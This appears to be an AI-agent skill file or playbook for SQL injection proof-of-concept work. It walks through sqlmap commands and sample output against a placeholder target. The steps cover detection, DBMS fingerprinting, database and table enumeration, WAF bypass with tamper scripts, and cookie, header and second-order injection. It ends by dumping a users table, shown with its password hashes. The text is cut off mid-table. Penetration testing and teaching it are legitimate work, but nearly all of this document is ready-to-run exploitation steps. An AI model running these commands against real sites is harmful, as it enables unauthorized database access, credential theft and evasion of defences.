sqli-poc

# sqli-poc ## When to Use - Parameter appears to manipulate database queries - Application displays database errors in responses - Need to prove SQL injection vulnerability exists - Extracting data from backend database - Testing authentication bypass via SQL injection - WAF bypass techniques required for exploitation - Second-order SQL injection scenarios detected ## Quick Start Basic SQL injection scan with sqlmap: ```bash sqlmap -u "http://target.com/page.php?id=1" --batch ``` ## Tools Overview | Tool | Type | Best For | | ------ | --------- | ----------------------------------------------------- | | sqlmap | Automated | Detection, enumeration, exploitation, WAF bypass | | Manual | Payloads | Initial confirmation, edge cases, custom exploitation | ## Step-by-Step Process ### Phase 1: Detection 1. **Identify potential injection points** ```bash sqlmap -u "http://target.com/page.php?id=1" --batch --level=1 ``` 2. **Test with higher sensitivity** ```bash sqlmap -u "http://target.com/page.php?id=1" --level=3 --risk=2 ``` 3. **Confirm vulnerability type** ```bash sqlmap -u "http://target.com/page.php?id=1" -v 3 ``` ### Phase 2: Enumeration 1. **Identify DBMS and version** ```bash sqlmap -u "http://target.com/page.php?id=1" --fingerprint --banner ``` 2. **List databases** ```bash sqlmap -u "http://target.com/page.php?id=1" --dbs ``` 3. **List tables and columns** ```bash sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns ``` ### Phase 3: Data Extraction 1. **Dump specific table** ```bash sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users --dump ``` 2. **Dump limited rows** ```bash sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users --dump --start=1 --stop=10 ``` ## Examples ### Example 1: Basic GET Parameter Injection **Scenario:** Test GET parameter for SQL injection **Command:** ```bash sqlmap -u "http://target.com/products.php?id=1" --batch --banner ``` **Output:** ``` [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based' injectable back-end DBMS: MySQL >= 5.0 banner: '5.7.33-0ubuntu0.18.04.1' ``` ### Example 2: POST Data Injection **Scenario:** Test login form for SQL injection **Command:** ```bash sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" --batch ``` **Output:** ``` [INFO] POST parameter 'username' is vulnerable ``` ### Example 3: Cookie-Based Injection **Scenario:** Test session cookie for injection **Command:** ```bash sqlmap -u "http://target.com/dashboard.php" --cookie="session=abc123" --level=2 --batch ``` **Output:** ``` [INFO] Cookie parameter 'session' is injectable ``` ### Example 4: Header Injection **Scenario:** Test HTTP headers for injection **Command:** ```bash sqlmap -u "http://target.com/api.php" --headers="X-Forwarded-For: 1*" --level=3 --batch ``` **Output:** ``` [INFO] header 'X-Forwarded-For' is injectable ``` ### Example 5: Time-Based Blind Injection **Scenario:** No visible error output, test time-based **Command:** ```bash sqlmap -u "http://target.com/search.php?q=test" --technique=T --time-sec=5 --batch ``` **Output:** ``` [INFO] GET parameter 'q' is 'MySQL >= 5.0.12 AND time-based blind' injectable ``` ### Example 6: UNION-Based Injection **Scenario:** Force UNION query technique **Command:** ```bash sqlmap -u "http://target.com/view.php?id=1" --technique=U --union-cols=5 --batch ``` **Output:** ``` [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 5 columns' injectable ``` ### Example 7: WAF Bypass with Tamper Scripts **Scenario:** Target behind WAF blocking requests **Command:** ```bash sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment,between,randomcase --batch ``` **Output:** ``` [INFO] loading tamper script 'space2comment' [INFO] loading tamper script 'between' [INFO] loading tamper script 'randomcase' [INFO] GET parameter 'id' is injectable ``` ### Example 8: Database Enumeration **Scenario:** List all databases on server **Command:** ```bash sqlmap -u "http://target.com/page.php?id=1" --dbs --batch ``` **Output:** ``` available databases [4]: [*] information_schema [*] mysql [*] performance_schema [*] webapp_db ``` ### Example 9: Table Enumeration **Scenario:** List tables in specific database **Command:** ```bash sqlmap -u "http://target.com/page.php?id=1" -D webapp_db --tables --batch ``` **Output:** ``` Database: webapp_db [5 tables] +---------------+ | users | | orders | | products | | sessions | | logs | +---------------+ ``` ### Example 10: Column Enumeration **Scenario:** List columns in users table **Command:** ```bash sqlmap -u "http://target.com/page.php?id=1" -D webapp_db -T users --columns --batch ``` **Output:** ``` Database: webapp_db Table: users [5 columns] +----------+-------------+ | Column | Type | +----------+-------------+ | id | int(11) | | username | varchar(50) | | password | varchar(64) | | email | varchar(100)| | role | varchar(20) | +----------+-------------+ ``` ### Example 11: Data Extraction **Scenario:** Dump user credentials (for authorized testing) **Command:** ```bash sqlmap -u "http://target.com/page.php?id=1" -D webapp_db -T users -C username,password --dump --batch ``` **Output:** ``` Database: webapp_db Table: users [3 entries] +----------+----------------------------------+ | username | password | +----------+----------------------------------+ | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | user1 | e99a18c428cb38d5f260853678922e03 | | user2 | d8578edf8458ce06fbc5bb76a58c5ca4 | +----------+----------------------------------+ ``` ### Example 12: Request File Injection **Scenario:** Test request captured from Burp Suite **Command:** ```bash sqlmap -r request.txt --batch --dbs ``` **request.txt:** ``` POST /api/search HTTP/1.1 Host: target.com Content-Type: application/json Cookie: session=abc123 {"query":"test","limit":10} ``` ### Example 13: Second-Order SQL Injection **Scenario:** Injection stored and triggered elsewhere **Command:** ```bash sqlmap -u "http://target.com/register.php" --data="username=test&email=a@b.com" --second-url="http://target.com/profile.php" --batch ``` **Output:** ``` [INFO] testing for second-order SQL injection [INFO] second-order SQL injection found ``` ### Example 14: Smart Scan with Multiple Parameters **Scenario:** Efficiently test page with many parameters **Command:** ```bash sqlmap -u "http://target.com/search.php?cat=1&sort=name&page=1&limit=10" --smart --batch ``` **Output:** ``` [INFO] skipping GET parameter 'sort' (appears non-dynamic) [INFO] skipping GET parameter 'page' (appears non-dynamic) [INFO] GET parameter 'cat' is injectable ``` ## Injection Techniques Reference | Technique | Code | Description | Detection Method |